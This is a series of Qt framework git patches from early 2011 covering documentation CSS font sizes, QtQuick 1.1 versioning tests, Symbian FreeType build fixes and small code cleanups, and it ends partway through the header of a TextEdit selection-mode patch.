     tools/qdoc3/test/qt-html-templates.qdocconf | 2 +-
     1 file changed, 1 insertion(+), 1 deletion(-)
    
    diff --git a/tools/qdoc3/test/qt-html-templates.qdocconf b/tools/qdoc3/test/qt-html-templates.qdocconf
    index 12588f9..e2d2b4a 100644
    --- a/tools/qdoc3/test/qt-html-templates.qdocconf
    +++ b/tools/qdoc3/test/qt-html-templates.qdocconf
    @@ -51,4 +51,4 @@ qhp.Qt.extraFiles = index.html \
                         images/bullet_up.png \
                         images/horBar.png \
                         images/sprites-combined.png \
    -                    style/style.css
    +                    style/offline.css
    -- 
    cgit v0.12
    
    
    From 4722183a17ac0074a82a16983a51689642af802b Mon Sep 17 00:00:00 2001
    From: David Boddie 
    Date: Fri, 28 Jan 2011 20:26:15 +0100
    Subject: Doc: Adjusted the font sizes for the offline documentation.
    
    ---
     doc/src/template/style/offline.css | 21 ++++++++++-----------
     1 file changed, 10 insertions(+), 11 deletions(-)
    
    diff --git a/doc/src/template/style/offline.css b/doc/src/template/style/offline.css
    index fe9aa13..4083a75 100644
    --- a/doc/src/template/style/offline.css
    +++ b/doc/src/template/style/offline.css
    @@ -72,11 +72,10 @@
             font-style: italic;
         }
     
    -    /* adding Qt theme */
         body
         {
             margin-left: 0.5em;
    -        margin-right: 0.5em
    +        margin-right: 0.5em;
         }
         a
         {
    @@ -202,15 +201,15 @@
         .heading
         {
             font-weight: bold;
    -        font-size: 160%;
    +        font-size: 125%;
         }
         .subtitle
         {
    -        font-size: 130%
    +        font-size: 110%
         }
         .small-subtitle
         {
    -        font-size: 130%
    +        font-size: 100%
         }
         .red
         {
    @@ -232,7 +231,7 @@
         {
             color: #00732F;
             font-weight: bold;
    -        font-size: 180%;
    +        font-size: 130%;
         }
     
         .header .content
    @@ -310,19 +309,19 @@
         .content h1
         {
             font-weight: bold;
    -        font-size: 180%
    +        font-size: 150%
         }
     
         .content h2
         {
             font-weight: bold;
    -        font-size: 160%;
    +        font-size: 135%;
             width: 100%;
         }
         .content h3
         {
             font-weight: bold;
    -        font-size: 1.4em;
    +        font-size: 120%;
             width: 100%;
         }
         .content table p
    @@ -429,7 +428,7 @@
         .qmltype
         {
             text-align: center;
    -        font-size: 160%;
    +        font-size: 120%;
         }
         .qmlreadonly
         {
    @@ -594,7 +593,7 @@
         }
         .small
         {
    -        font-size: 0.75em;
    +        font-size: 0.5em;
         }
     /* end footer elements */
     
    -- 
    cgit v0.12
    
    
    From f5aba1e2a59c4d8c15206f740d51d82ab26e3688 Mon Sep 17 00:00:00 2001
    From: Sergio Ahumada 
    Date: Fri, 28 Jan 2011 23:29:30 +0100
    Subject: Replace all occurances of "Qt 4.7" with "QtQuick 1.0"
    
    Task-number: QTBUG-13799
    ---
     doc/src/snippets/declarative/transitions-list.qml | 2 +-
     1 file changed, 1 insertion(+), 1 deletion(-)
    
    diff --git a/doc/src/snippets/declarative/transitions-list.qml b/doc/src/snippets/declarative/transitions-list.qml
    index 0467de2..cd413cc 100644
    --- a/doc/src/snippets/declarative/transitions-list.qml
    +++ b/doc/src/snippets/declarative/transitions-list.qml
    @@ -38,7 +38,7 @@
     **
     ****************************************************************************/
     
    -import Qt 4.7
    +import QtQuick 1.0
     
     Rectangle {
       width: 150; height: 250
    -- 
    cgit v0.12
    
    
    From f5f2f4d1cda47ba67e821495da0a9707c10a708c Mon Sep 17 00:00:00 2001
    From: Martin Jones 
    Date: Mon, 31 Jan 2011 09:36:52 +1000
    Subject: Use qobject_cast rather than dynamic_cast.
    
    To complile on platforms without rtti.
    
    Reviewed-by: Michael Brasser
    ---
     src/declarative/qml/qdeclarativeenginedebug.cpp | 6 +++---
     1 file changed, 3 insertions(+), 3 deletions(-)
    
    diff --git a/src/declarative/qml/qdeclarativeenginedebug.cpp b/src/declarative/qml/qdeclarativeenginedebug.cpp
    index 3863385..8c7f3ad 100644
    --- a/src/declarative/qml/qdeclarativeenginedebug.cpp
    +++ b/src/declarative/qml/qdeclarativeenginedebug.cpp
    @@ -327,7 +327,7 @@ void QDeclarativeEngineDebugServer::buildStatesList(QDeclarativeContext *ctxt, b
     
     void QDeclarativeEngineDebugServer::buildStatesList(QObject *obj)
     {
    -    if (QDeclarativeState *state = dynamic_cast(obj)) {
    +    if (QDeclarativeState *state = qobject_cast(obj)) {
                 m_allStates.append(state);
         }
     
    @@ -589,7 +589,7 @@ void QDeclarativeEngineDebugServer::setBinding(int objectId,
     
             } else {
                 // not a valid property
    -            if (QDeclarativePropertyChanges *propertyChanges = dynamic_cast(object)) {
    +            if (QDeclarativePropertyChanges *propertyChanges = qobject_cast(object)) {
                     if (isLiteralValue) {
                         propertyChanges->changeValue(propertyName, expression);
                     } else {
    @@ -637,7 +637,7 @@ void QDeclarativeEngineDebugServer::resetBinding(int objectId, const QString &pr
                     }
                 }
             } else {
    -            if (QDeclarativePropertyChanges *propertyChanges = dynamic_cast(object)) {
    +            if (QDeclarativePropertyChanges *propertyChanges = qobject_cast(object)) {
                     propertyChanges->removeProperty(propertyName);
                 }
             }
    -- 
    cgit v0.12
    
    
    From 2b337d8cbe8e6646ec78b3acaad50ce108d33dc0 Mon Sep 17 00:00:00 2001
    From: Martin Jones 
    Date: Mon, 31 Jan 2011 13:29:05 +1000
    Subject: Add missing versioning tests for new QtQuick 1.1 properties/methods.
    
    Task-number: QTBUG-15489
    Reviewed-by: Bea Lam
    ---
     .../tst_qdeclarativeborderimage.cpp                | 41 ++++++++++++++++++
     .../tst_qdeclarativepositioners.cpp                | 48 +++++++++++++++++++++-
     .../qdeclarativetext/tst_qdeclarativetext.cpp      | 24 ++++++++++-
     .../tst_qdeclarativetextedit.cpp                   | 16 +++++++-
     .../tst_qdeclarativetextinput.cpp                  | 46 +++++++++++++++++++++
     5 files changed, 171 insertions(+), 4 deletions(-)
    
    diff --git a/tests/auto/declarative/qdeclarativeborderimage/tst_qdeclarativeborderimage.cpp b/tests/auto/declarative/qdeclarativeborderimage/tst_qdeclarativeborderimage.cpp
    index 9a9d22b..d85b92a 100644
    --- a/tests/auto/declarative/qdeclarativeborderimage/tst_qdeclarativeborderimage.cpp
    +++ b/tests/auto/declarative/qdeclarativeborderimage/tst_qdeclarativeborderimage.cpp
    @@ -86,6 +86,8 @@ private slots:
         void invalidSciFile();
         void pendingRemoteRequest();
         void pendingRemoteRequest_data();
    +    void testQtQuick11Attributes();
    +    void testQtQuick11Attributes_data();
     
     private:
         QDeclarativeEngine engine;
    @@ -380,6 +382,45 @@ void tst_qdeclarativeborderimage::pendingRemoteRequest_data()
         QTest::newRow("sci file") << "http://localhost/none.sci";
     }
     
    +void tst_qdeclarativeborderimage::testQtQuick11Attributes()
    +{
    +    QFETCH(QString, code);
    +    QFETCH(QString, warning);
    +    QFETCH(QString, error);
    +
    +    QDeclarativeEngine engine;
    +    QObject *obj;
    +
    +    QDeclarativeComponent valid(&engine);
    +    valid.setData("import QtQuick 1.1; BorderImage { " + code.toUtf8() + " }", QUrl(""));
    +    obj = valid.create();
    +    QVERIFY(obj);
    +    QVERIFY(valid.errorString().isEmpty());
    +    delete obj;
    +
    +    QDeclarativeComponent invalid(&engine);
    +    invalid.setData("import QtQuick 1.0; BorderImage { " + code.toUtf8() + " }", QUrl(""));
    +    QTest::ignoreMessage(QtWarningMsg, warning.toUtf8());
    +    obj = invalid.create();
    +    QCOMPARE(invalid.errorString(), error);
    +    delete obj;
    +}
    +
    +void tst_qdeclarativeborderimage::testQtQuick11Attributes_data()
    +{
    +    QTest::addColumn("code");
    +    QTest::addColumn("warning");
    +    QTest::addColumn("error");
    +
    +    QTest::newRow("mirror") << "mirror: true"
    +        << "QDeclarativeComponent: Component is not ready"
    +        << ":1 \"BorderImage.mirror\" is not available in QtQuick 1.0.\n";
    +
    +    QTest::newRow("cache") << "cache: true"
    +        << "QDeclarativeComponent: Component is not ready"
    +        << ":1 \"BorderImage.cache\" is not available in QtQuick 1.0.\n";
    +}
    +
     QTEST_MAIN(tst_qdeclarativeborderimage)
     
     #include "tst_qdeclarativeborderimage.moc"
    diff --git a/tests/auto/declarative/qdeclarativepositioners/tst_qdeclarativepositioners.cpp b/tests/auto/declarative/qdeclarativepositioners/tst_qdeclarativepositioners.cpp
    index 6365ce5..40e533d 100644
    --- a/tests/auto/declarative/qdeclarativepositioners/tst_qdeclarativepositioners.cpp
    +++ b/tests/auto/declarative/qdeclarativepositioners/tst_qdeclarativepositioners.cpp
    @@ -87,6 +87,8 @@ private slots:
         void test_flow_implicit_resize();
         void test_conflictinganchors();
         void test_vertical_qgraphicswidget();
    +    void testQtQuick11Attributes();
    +    void testQtQuick11Attributes_data();
     private:
         QDeclarativeView *createView(const QString &filename);
     };
    @@ -1070,7 +1072,7 @@ void interceptWarnings(QtMsgType type, const char *msg)
     
     void tst_QDeclarativePositioners::test_conflictinganchors()
     {
    -    qInstallMsgHandler(interceptWarnings);
    +    QtMsgHandler oldMsgHandler = qInstallMsgHandler(interceptWarnings);
         QDeclarativeEngine engine;
         QDeclarativeComponent component(&engine);
     
    @@ -1151,6 +1153,7 @@ void tst_QDeclarativePositioners::test_conflictinganchors()
         item = qobject_cast(component.create());
         QVERIFY(item);
         QCOMPARE(warningMessage, QString("file::2:1: QML Flow: Cannot specify anchors for items inside Flow"));
    +    qInstallMsgHandler(oldMsgHandler);
     }
     
     void tst_QDeclarativePositioners::test_vertical_qgraphicswidget()
    @@ -1195,6 +1198,49 @@ void tst_QDeclarativePositioners::test_vertical_qgraphicswidget()
         delete canvas;
     }
     
    +void tst_QDeclarativePositioners::testQtQuick11Attributes()
    +{
    +    QFETCH(QString, code);
    +    QFETCH(QString, warning);
    +    QFETCH(QString, error);
    +
    +    QDeclarativeEngine engine;
    +    QObject *obj;
    +
    +    QDeclarativeComponent valid(&engine);
    +    valid.setData("import QtQuick 1.1; " + code.toUtf8(), QUrl(""));
    +    obj = valid.create();
    +    QVERIFY(obj);
    +    QVERIFY(valid.errorString().isEmpty());
    +    delete obj;
    +
    +    QDeclarativeComponent invalid(&engine);
    +    invalid.setData("import QtQuick 1.0; " + code.toUtf8(), QUrl(""));
    +    QTest::ignoreMessage(QtWarningMsg, warning.toUtf8());
    +    obj = invalid.create();
    +    QCOMPARE(invalid.errorString(), error);
    +    delete obj;
    +}
    +
    +void tst_QDeclarativePositioners::testQtQuick11Attributes_data()
    +{
    +    QTest::addColumn("code");
    +    QTest::addColumn("warning");
    +    QTest::addColumn("error");
    +
    +    QTest::newRow("Flow.layoutDirection") << "Flow { layoutDirection: Qt.LeftToRight }"
    +        << "QDeclarativeComponent: Component is not ready"
    +        << ":1 \"Flow.layoutDirection\" is not available in QtQuick 1.0.\n";
    +
    +    QTest::newRow("Row.layoutDirection") << "Row { layoutDirection: Qt.LeftToRight }"
    +        << "QDeclarativeComponent: Component is not ready"
    +        << ":1 \"Row.layoutDirection\" is not available in QtQuick 1.0.\n";
    +
    +    QTest::newRow("Grid.layoutDirection") << "Grid { layoutDirection: Qt.LeftToRight }"
    +        << "QDeclarativeComponent: Component is not ready"
    +        << ":1 \"Grid.layoutDirection\" is not available in QtQuick 1.0.\n";
    +}
    +
     QDeclarativeView *tst_QDeclarativePositioners::createView(const QString &filename)
     {
         QDeclarativeView *canvas = new QDeclarativeView(0);
    diff --git a/tests/auto/declarative/qdeclarativetext/tst_qdeclarativetext.cpp b/tests/auto/declarative/qdeclarativetext/tst_qdeclarativetext.cpp
    index 8111cd2..320a6e7 100644
    --- a/tests/auto/declarative/qdeclarativetext/tst_qdeclarativetext.cpp
    +++ b/tests/auto/declarative/qdeclarativetext/tst_qdeclarativetext.cpp
    @@ -470,6 +470,8 @@ void tst_qdeclarativetext::alignments()
             QCOMPARE(actual,expect);
         }
     #endif
    +
    +    delete canvas;
     }
     
     //the alignment tests may be trivial o.oa
    @@ -962,6 +964,8 @@ void tst_qdeclarativetext::QTBUG_12291()
         QDeclarativeText *text = ob->findChild("text");
         QVERIFY(text);
         QVERIFY(text->boundingRect().isValid());
    +
    +    delete canvas;
     }
     
     class EventSender : public QGraphicsItem
    @@ -1054,6 +1058,8 @@ void tst_qdeclarativetext::embeddedImages()
             QCOMPARE(textObject->width(), 16.0); // default size of QTextDocument broken image icon
             QCOMPARE(textObject->height(), 16.0);
         }
    +
    +    delete textObject;
     }
     
     void tst_qdeclarativetext::lineCount()
    @@ -1081,6 +1087,8 @@ void tst_qdeclarativetext::lineCount()
         QCOMPARE(myText->lineCount(), 2);
         QCOMPARE(myText->truncated(), true);
         QCOMPARE(myText->maximumLineCount(), 2);
    +
    +    delete canvas;
     }
     
     void tst_qdeclarativetext::lineHeight()
    @@ -1112,6 +1120,8 @@ void tst_qdeclarativetext::lineHeight()
         myText->setLineHeightMode(QDeclarativeText::PixelHeight);
         myText->setLineHeight(10);
         QCOMPARE(myText->height(), myText->lineCount() * 10.0);
    +
    +    delete canvas;
     }
     
     void tst_qdeclarativetext::implicitSize_data()
    @@ -1175,9 +1185,21 @@ void tst_qdeclarativetext::testQtQuick11Attributes_data()
             << "QDeclarativeComponent: Component is not ready"
             << ":1 \"Text.maximumLineCount\" is not available in QtQuick 1.0.\n";
     
    -    QTest::newRow("truncated") << "property int foo: lineCount"
    +    QTest::newRow("lineHeight") << "lineHeight: 2"
    +        << "QDeclarativeComponent: Component is not ready"
    +        << ":1 \"Text.lineHeight\" is not available in QtQuick 1.0.\n";
    +
    +    QTest::newRow("lineHeightMode") << "lineHeightMode: Text.MultiplyHeight"
    +        << "QDeclarativeComponent: Component is not ready"
    +        << ":1 \"Text.lineHeightMode\" is not available in QtQuick 1.0.\n";
    +
    +    QTest::newRow("lineCount") << "property int foo: lineCount"
             << ":1: ReferenceError: Can't find variable: lineCount"
             << "";
    +
    +    QTest::newRow("truncated") << "property bool foo: truncated"
    +        << ":1: ReferenceError: Can't find variable: truncated"
    +        << "";
     }
     
     QTEST_MAIN(tst_qdeclarativetext)
    diff --git a/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp b/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp
    index b1e0cb9..1364337 100644
    --- a/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp
    +++ b/tests/auto/declarative/qdeclarativetextedit/tst_qdeclarativetextedit.cpp
    @@ -1513,14 +1513,14 @@ void tst_qdeclarativetextedit::testQtQuick11Attributes()
         QObject *obj;
     
         QDeclarativeComponent valid(&engine);
    -    valid.setData("import QtQuick 1.1; Text { " + code.toUtf8() + " }", QUrl(""));
    +    valid.setData("import QtQuick 1.1; TextEdit { " + code.toUtf8() + " }", QUrl(""));
         obj = valid.create();
         QVERIFY(obj);
         QVERIFY(valid.errorString().isEmpty());
         delete obj;
     
         QDeclarativeComponent invalid(&engine);
    -    invalid.setData("import QtQuick 1.0; Text { " + code.toUtf8() + " }", QUrl(""));
    +    invalid.setData("import QtQuick 1.0; TextEdit { " + code.toUtf8() + " }", QUrl(""));
         QTest::ignoreMessage(QtWarningMsg, warning.toUtf8());
         obj = invalid.create();
         QCOMPARE(invalid.errorString(), error);
    @@ -1540,6 +1540,18 @@ void tst_qdeclarativetextedit::testQtQuick11Attributes_data()
         QTest::newRow("lineCount") << "property int foo: lineCount"
             << ":1: ReferenceError: Can't find variable: lineCount"
             << "";
    +
    +    QTest::newRow("moveCursorSelection") << "Component.onCompleted: moveCursorSelection(0, TextEdit.SelectCharacters)"
    +        << ":1: ReferenceError: Can't find variable: moveCursorSelection"
    +        << "";
    +
    +    QTest::newRow("deselect") << "Component.onCompleted: deselect()"
    +        << ":1: ReferenceError: Can't find variable: deselect"
    +        << "";
    +
    +    QTest::newRow("onLinkActivated") << "onLinkActivated: {}"
    +        << "QDeclarativeComponent: Component is not ready"
    +        << ":1 \"TextEdit.onLinkActivated\" is not available in QtQuick 1.0.\n";
     }
     
     QTEST_MAIN(tst_qdeclarativetextedit)
    diff --git a/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp b/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp
    index 78f6693..7cdec27 100644
    --- a/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp
    +++ b/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp
    @@ -117,6 +117,9 @@ private slots:
     
         void echoMode();
         void geometrySignals();
    +    void testQtQuick11Attributes();
    +    void testQtQuick11Attributes_data();
    +
     private:
         void simulateKey(QDeclarativeView *, int key);
         QDeclarativeView *createView(const QString &filename);
    @@ -1434,6 +1437,49 @@ void tst_qdeclarativetextinput::geometrySignals()
         delete o;
     }
     
    +void tst_qdeclarativetextinput::testQtQuick11Attributes()
    +{
    +    QFETCH(QString, code);
    +    QFETCH(QString, warning);
    +    QFETCH(QString, error);
    +
    +    QDeclarativeEngine engine;
    +    QObject *obj;
    +
    +    QDeclarativeComponent valid(&engine);
    +    valid.setData("import QtQuick 1.1; TextInput { " + code.toUtf8() + " }", QUrl(""));
    +    obj = valid.create();
    +    QVERIFY(obj);
    +    QVERIFY(valid.errorString().isEmpty());
    +    delete obj;
    +
    +    QDeclarativeComponent invalid(&engine);
    +    invalid.setData("import QtQuick 1.0; TextInput { " + code.toUtf8() + " }", QUrl(""));
    +    QTest::ignoreMessage(QtWarningMsg, warning.toUtf8());
    +    obj = invalid.create();
    +    QCOMPARE(invalid.errorString(), error);
    +    delete obj;
    +}
    +
    +void tst_qdeclarativetextinput::testQtQuick11Attributes_data()
    +{
    +    QTest::addColumn("code");
    +    QTest::addColumn("warning");
    +    QTest::addColumn("error");
    +
    +    QTest::newRow("canPaste") << "property bool foo: canPaste"
    +        << ":1: ReferenceError: Can't find variable: canPaste"
    +        << "";
    +
    +    QTest::newRow("moveCursorSelection") << "Component.onCompleted: moveCursorSelection(0, TextEdit.SelectCharacters)"
    +        << ":1: ReferenceError: Can't find variable: moveCursorSelection"
    +        << "";
    +
    +    QTest::newRow("deselect") << "Component.onCompleted: deselect()"
    +        << ":1: ReferenceError: Can't find variable: deselect"
    +        << "";
    +}
    +
     QTEST_MAIN(tst_qdeclarativetextinput)
     
     #include "tst_qdeclarativetextinput.moc"
    -- 
    cgit v0.12
    
    
    From ca1601ae78963fbaa668d82f63988ad7b41f23bc Mon Sep 17 00:00:00 2001
    From: Yoann Lopes 
    Date: Mon, 31 Jan 2011 12:37:53 +0100
    Subject: Fixes compilation when using FreeType on Symbian.
    
    ---
     src/declarative/declarative.pro     | 7 +++++++
     src/gui/kernel/qapplication_s60.cpp | 4 ++++
     src/gui/text/qfontdatabase_s60.cpp  | 2 ++
     src/gui/text/text.pri               | 2 +-
     src/opengl/opengl.pro               | 7 +++++++
     src/openvg/openvg.pro               | 7 +++++++
     6 files changed, 28 insertions(+), 1 deletion(-)
    
    diff --git a/src/declarative/declarative.pro b/src/declarative/declarative.pro
    index 4ed4f9f..6bd314f 100644
    --- a/src/declarative/declarative.pro
    +++ b/src/declarative/declarative.pro
    @@ -27,6 +27,13 @@ include(debugger/debugger.pri)
     symbian: {
         TARGET.UID3=0x2001E623
         LIBS += -lefsrv
    +
    +    contains(QT_CONFIG, freetype) {
    +        DEFINES += QT_NO_FONTCONFIG
    +        INCLUDEPATH += \
    +            ../3rdparty/freetype/src \
    +            ../3rdparty/freetype/include
    +    }
     }
     
     DEFINES += QT_NO_OPENTYPE
    diff --git a/src/gui/kernel/qapplication_s60.cpp b/src/gui/kernel/qapplication_s60.cpp
    index 3a70dd5..8b2412e 100644
    --- a/src/gui/kernel/qapplication_s60.cpp
    +++ b/src/gui/kernel/qapplication_s60.cpp
    @@ -1616,7 +1616,9 @@ void qt_init(QApplicationPrivate * /* priv */, int)
         qRegisterMetaType("WId");
     }
     
    +#ifdef QT_NO_FREETYPE
     extern void qt_cleanup_symbianFontDatabaseExtras(); // qfontdatabase_s60.cpp
    +#endif
     
     /*****************************************************************************
       qt_cleanup() - cleans up when the application is finished
    @@ -1633,7 +1635,9 @@ void qt_cleanup()
         QFontCache::cleanup(); // Has to happen now, since QFontEngineS60 has FBS handles
         QPixmapCache::clear(); // Has to happen now, since QS60PixmapData has FBS handles
     
    +#ifdef QT_NO_FREETYPE
         qt_cleanup_symbianFontDatabaseExtras();
    +#endif
     // S60 structure and window server session are freed in eventdispatcher destructor as they are needed there
     
         // It's important that this happens here, before the event dispatcher gets
    diff --git a/src/gui/text/qfontdatabase_s60.cpp b/src/gui/text/qfontdatabase_s60.cpp
    index 6ba035e..6d8d7c3 100644
    --- a/src/gui/text/qfontdatabase_s60.cpp
    +++ b/src/gui/text/qfontdatabase_s60.cpp
    @@ -331,6 +331,7 @@ void QFontEngineMultiS60::loadEngine(int at)
         Q_ASSERT(engines[at]);
     }
     
    +#ifdef QT_NO_FREETYPE
     static bool addFontToScreenDevice(int screenDeviceFontIndex,
                                       const QSymbianFontDatabaseExtrasImplementation *dbExtras)
     {    
    @@ -381,6 +382,7 @@ static bool addFontToScreenDevice(int screenDeviceFontIndex,
             family->writingSystems[system] = QtFontFamily::Supported;
         return true;
     }
    +#endif
     
     static void initializeDb()
     {
    diff --git a/src/gui/text/text.pri b/src/gui/text/text.pri
    index daafdd9..d3e8f2d 100644
    --- a/src/gui/text/text.pri
    +++ b/src/gui/text/text.pri
    @@ -147,8 +147,8 @@ symbian {
     			text/qfontengine_s60.cpp
     		HEADERS += \
     			text/qfontengine_s60_p.h
    -		LIBS += -lfntstr -lecom
     	}
    +	LIBS += -lfntstr -lecom
     }
     
     !qpa {
    diff --git a/src/opengl/opengl.pro b/src/opengl/opengl.pro
    index 8b587cf..08ae774 100644
    --- a/src/opengl/opengl.pro
    +++ b/src/opengl/opengl.pro
    @@ -163,6 +163,13 @@ symbian {
     
         HEADERS += qgl_egl_p.h
     
    +    contains(QT_CONFIG, freetype) {
    +        DEFINES += QT_NO_FONTCONFIG
    +        INCLUDEPATH += \
    +            ../3rdparty/freetype/src \
    +            ../3rdparty/freetype/include
    +    }
    +
         symbian:TARGET.UID3 = 0x2002131A
     }
     
    diff --git a/src/openvg/openvg.pro b/src/openvg/openvg.pro
    index e7ed890..e185949 100644
    --- a/src/openvg/openvg.pro
    +++ b/src/openvg/openvg.pro
    @@ -38,6 +38,13 @@ symbian {
         DEFINES += QVG_RECREATE_ON_SIZE_CHANGE QVG_BUFFER_SCROLLING QVG_SCISSOR_CLIP
         SOURCES += \
             qvg_symbian.cpp
    +
    +    contains(QT_CONFIG, freetype) {
    +        DEFINES += QT_NO_FONTCONFIG
    +        INCLUDEPATH += \
    +            ../3rdparty/freetype/src \
    +            ../3rdparty/freetype/include
    +    }
     }
     
     include(../qbase.pri)
    -- 
    cgit v0.12
    
    
    From fd1190c75f05faa14aa84e65fa37b40d5a5fc2c5 Mon Sep 17 00:00:00 2001
    From: Yoann Lopes 
    Date: Mon, 31 Jan 2011 13:54:18 +0100
    Subject: Fixes lastResortFamily() on Symbian when using FreeType.
    
    It was previously always returning 'Series 60 Sans'. On Symbian^3
    the default font can be 'Nokia Sans S60'. The patch makes sure the
    available one is returned.
    
    Reviewed-by: Alessandro Portale 
    ---
     src/gui/text/qfont_s60.cpp | 18 ++++++++++++++++--
     1 file changed, 16 insertions(+), 2 deletions(-)
    
    diff --git a/src/gui/text/qfont_s60.cpp b/src/gui/text/qfont_s60.cpp
    index c7d36ef..114191d 100644
    --- a/src/gui/text/qfont_s60.cpp
    +++ b/src/gui/text/qfont_s60.cpp
    @@ -49,13 +49,14 @@ QT_BEGIN_NAMESPACE
     
     #ifdef QT_NO_FREETYPE
     Q_GLOBAL_STATIC(QMutex, lastResortFamilyMutex);
    +#endif // QT_NO_FREETYPE
    +
     extern QStringList qt_symbian_fontFamiliesOnFontServer(); // qfontdatabase_s60.cpp
     Q_GLOBAL_STATIC_WITH_INITIALIZER(QStringList, fontFamiliesOnFontServer, {
         // We are only interested in the initial font families. No Application fonts.
         // Therefore, we are allowed to cache the list.
         x->append(qt_symbian_fontFamiliesOnFontServer());
     });
    -#endif // QT_NO_FREETYPE
     
     QString QFont::lastResortFont() const
     {
    @@ -95,7 +96,20 @@ QString QFont::lastResortFamily() const
         const bool isJapaneseOrChineseSystem =
             User::Language() == ELangJapanese || User::Language() == ELangPrcChinese;
     
    -    return QLatin1String(isJapaneseOrChineseSystem?"Heisei Kaku Gothic S60":"Series 60 Sans");
    +    static QString family;
    +    if (family.isEmpty()) {
    +        QStringList families = qt_symbian_fontFamiliesOnFontServer();
    +        const char* const preferredFamilies[] = {"Nokia Sans S60", "Series 60 Sans"};
    +        for (int i = 0; i < sizeof preferredFamilies / sizeof preferredFamilies[0]; ++i) {
    +            const QString preferredFamily = QLatin1String(preferredFamilies[i]);
    +            if (families.contains(preferredFamily)) {
    +                family = preferredFamily;
    +                break;
    +            }
    +        }
    +    }
    +
    +    return QLatin1String(isJapaneseOrChineseSystem?"Heisei Kaku Gothic S60":family.toLatin1());
     #endif // QT_NO_FREETYPE
     }
     
    -- 
    cgit v0.12
    
    
    From dc8163d64af88e1daa88c7b1bf9903a87eb3d5b0 Mon Sep 17 00:00:00 2001
    From: Miikka Heikkinen 
    Date: Mon, 31 Jan 2011 17:13:46 +0200
    Subject: Make emulator deployment depend on post linking in symbian-sbsv2.
    
    Post linking output was not previously possible to deploy as there
    was no dependency from deployment to post linking, which meant
    deployment was usually attempted first. Now all post linking in
    project tree needs to be done before any deployment is done.
    
    Note that you can still get warnings about missing dependencies as
    sbsv2 checks those before it actually executes the targets. These
    warnings are harmless, but difficult to get rid of using a general
    solution, as qmake cannot make any guesses what QMAKE_POST_LINK
    handling might output.
    
    Task-number: QTBUG-17037
    Reviewed-by: axis
    ---
     mkspecs/symbian-sbsv2/flm/qt/qmake_emulator_deployment.flm | 8 ++++----
     mkspecs/symbian-sbsv2/flm/qt/qmake_post_link.flm           | 2 ++
     2 files changed, 6 insertions(+), 4 deletions(-)
    
    diff --git a/mkspecs/symbian-sbsv2/flm/qt/qmake_emulator_deployment.flm b/mkspecs/symbian-sbsv2/flm/qt/qmake_emulator_deployment.flm
    index db91f7f..39ab0f0 100644
    --- a/mkspecs/symbian-sbsv2/flm/qt/qmake_emulator_deployment.flm
    +++ b/mkspecs/symbian-sbsv2/flm/qt/qmake_emulator_deployment.flm
    @@ -11,6 +11,9 @@
     SINGLETON:=$(call sanitise,TARGET_$(DEPLOY_TARGET))
     CLEAN_TARGET:=
     
    +# Deployment dependencies collection target for post link operations
    +all_qmake_emulator_deployment_dependencies::
    +
     define qmake_emulator_deployment
     $(ALLTARGET):: $(1)
     
    @@ -19,7 +22,7 @@ $(SINGLETON):=1
     
     CLEAN_TARGET:=$(1)
     
    -$(1): $(2)
    +$(1): $(2) all_qmake_emulator_deployment_dependencies
     	$(call startrule,qmake_emulator_deployment) \
     	$(GNUCP) --remove-destination --no-preserve=mode $(2) "$$@" && \
     	$(GNUCHMOD) a+rw "$$@" \
    @@ -32,6 +35,3 @@ $(call makepath,$(dir $(DEPLOY_TARGET)))
     $(eval $(call GenerateStandardCleanTarget,$(CLEAN_TARGET),''))
     endif	
     
    -
    -
    -
    diff --git a/mkspecs/symbian-sbsv2/flm/qt/qmake_post_link.flm b/mkspecs/symbian-sbsv2/flm/qt/qmake_post_link.flm
    index ae53741..0312d14 100644
    --- a/mkspecs/symbian-sbsv2/flm/qt/qmake_post_link.flm
    +++ b/mkspecs/symbian-sbsv2/flm/qt/qmake_post_link.flm
    @@ -18,6 +18,8 @@ define command_fixer
     	THE_COMMAND:=$(POST_LINK_CMD)
     endef
     
    +all_qmake_emulator_deployment_dependencies:: $(POST_LINK_TARGET)
    +
     define qmake_post_link
     $(ALLTARGET):: $(POST_LINK_TARGET)
     
    -- 
    cgit v0.12
    
    
    From 1eea6ca3c22a1c859d06b573570314f7bd2f2833 Mon Sep 17 00:00:00 2001
    From: Sergio Ahumada 
    Date: Mon, 31 Jan 2011 23:36:54 +0100
    Subject: Doc: Fixing typo
    
    ---
     tools/qdoc3/ditaxmlgenerator.cpp | 2 +-
     1 file changed, 1 insertion(+), 1 deletion(-)
    
    diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp
    index 44df302..e180c0a 100644
    --- a/tools/qdoc3/ditaxmlgenerator.cpp
    +++ b/tools/qdoc3/ditaxmlgenerator.cpp
    @@ -2285,7 +2285,7 @@ void DitaXmlGenerator::generateIncludes(const InnerNode* inner, CodeMarker* mark
     
     /*!
       zzz
    -  Generates a table of contents begining at \a node.
    +  Generates a table of contents beginning at \a node.
       Currently just returns without writing anything.
      */
     void DitaXmlGenerator::generateTableOfContents(const Node* node,
    -- 
    cgit v0.12
    
    
    From ba63becc13221ca6538fb40c790275465dd47703 Mon Sep 17 00:00:00 2001
    From: Andrew den Exter 
    Date: Fri, 28 Jan 2011 15:58:37 +1000
    Subject: Add a mouseSelectionMode property to TextEdit and TextInput.
    
    Adds an option to do per word selection when selectByMouse is true.
    Also changes the selection behavior so that the first word selected
    remains selected when the direction of the selection changes which
    is more consistent with other implementations including the existing
    per word selection in QTextEdit.
    
    Task-number: QTBUG-16283
    Reviewed-by: Martin Jones
    ---
     .../graphicsitems/qdeclarativetextedit.cpp         |  84 +++--
     .../graphicsitems/qdeclarativetextedit_p.h         |   5 +
     .../graphicsitems/qdeclarativetextedit_p_p.h       |   3 +-
     .../graphicsitems/qdeclarativetextinput.cpp        |  90 +++---
     .../graphicsitems/qdeclarativetextinput_p.h        |   5 +
     .../graphicsitems/qdeclarativetextinput_p_p.h      |   2 +
     src/gui/text/qtextcontrol.cpp                      |  27 +-
     src/gui/text/qtextcontrol_p.h                      |   5 +-
     src/gui/text/qtextcontrol_p_p.h                    |   2 +
     .../data/mouseselectionmode_characters.qml         |   8 +
